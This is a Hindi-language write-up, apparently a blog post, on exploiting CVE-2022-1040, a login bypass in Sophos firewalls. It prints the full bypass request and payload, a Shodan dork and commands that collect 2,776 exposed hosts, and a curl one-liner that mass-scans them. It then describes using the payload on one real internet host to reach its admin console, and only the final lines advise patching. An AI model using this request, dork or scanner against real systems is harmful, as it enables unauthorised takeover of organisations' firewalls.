
CVE-2022-1040
आक्रामक साइबर सुरक्षा को समर्पित अनुसंधान समूह Toasec, में, हमने Sophos फ़ायरवॉल में इस भेद्यता का विश्लेषण करने का कार्य लिया।
यह भेद्यता, कई अन्य की तरह, अधिसूचित और पाई जा सकती है यदि आप twitter पर खोजना जानते हैं, जहां हमने देखा कि मार्च महीने से RCE पर लेख देखे जाने लगे
यदि हम उन रिपॉजिटरी को देखें जिनमें POC है
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066
हम पेलोड (mode=151&json=) देख सकते हैं जो हमें लॉगिन बायपास करने की अनुमति देता है और हम उसी तरह एंडपॉइंट webconsole/webpages/login.jsp भी देखते हैं
अब हम greynose पर हमलों का विश्लेषण करने और यह सत्यापित करने के लिए आगे बढ़ते हैं कि क्या इसका सक्रिय रूप से शोषण किया जा रहा है

एक बार जब हम एंडपॉइंट की पहचान कर लेते हैं और greynoise के साथ हमलों में उपयोग किए जाने वाले कुछ रूट्स की जांच कर लेते हैं, तो हम shodan में अपना dork बना सकते हैं title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" यह dork वह है जिसे हमने सबसे अधिक संभावित पहचाना है, लेकिन हमें याद रखना चाहिए कि कमजोर संस्करण Sophos XG115w Firewall 17.0.10 MR-10 हैं

shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443
हम डेटा सत्यापित करने के लिए आगे बढ़ते हैं
हम डेटा को एक ऐसे प्रारूप में पार्स करने जा रहे हैं जो हमें स्वचालन की अनुमति देता है और हम देखते हैं कि 2776 संभावित लक्ष्य हैं
shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt

अब हमें कॉमा को साफ और हटाना होगा ताकि onliner के साथ काम करना आसान हो
sed 's/,/:/g' sophos.txt > sophos-parseado.txt
अब हम एक अधिक उपयुक्त प्रारूप में onliner के साथ काम कर सकते हैं
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done;

एक बार जब हम अपने लक्ष्यों को सत्यापित कर लेते हैं, तो केवल एक का चयन करना और लॉगिन पैनल तक पहुँच कर परीक्षण करना बाकी रह जाता है

हम लॉगिन अनुरोध को इंटरसेप्ट करते हैं और इसे रिस्पॉन्डर को भेजते हैं

हम पेलोड के साथ अनुरोध को संशोधित करते हैं और हमारे पास फ़ायरवॉल प्रशासन के लिए एक रीडायरेक्ट होना चाहिए

हम index.jsp पथ तक पहुँचने का प्रयास करते हैं

हमने सत्यापित किया है कि भेद्यता लक्ष्य में मौजूद है, उसी तरह यह कई होस्ट में सक्रिय पाई जाती है, हालांकि तिथि के अनुसार अन्य भेद्यताओं के संबंध में व्यापक शमन देखा जा सकता है।
ऐसे मामलों में, सबसे महत्वपूर्ण बात यह है कि जैसे ही निर्माताओं द्वारा सुरक्षा पैच उपलब्ध कराए जाएं, उन्हें अपडेट और इंस्टॉल करें।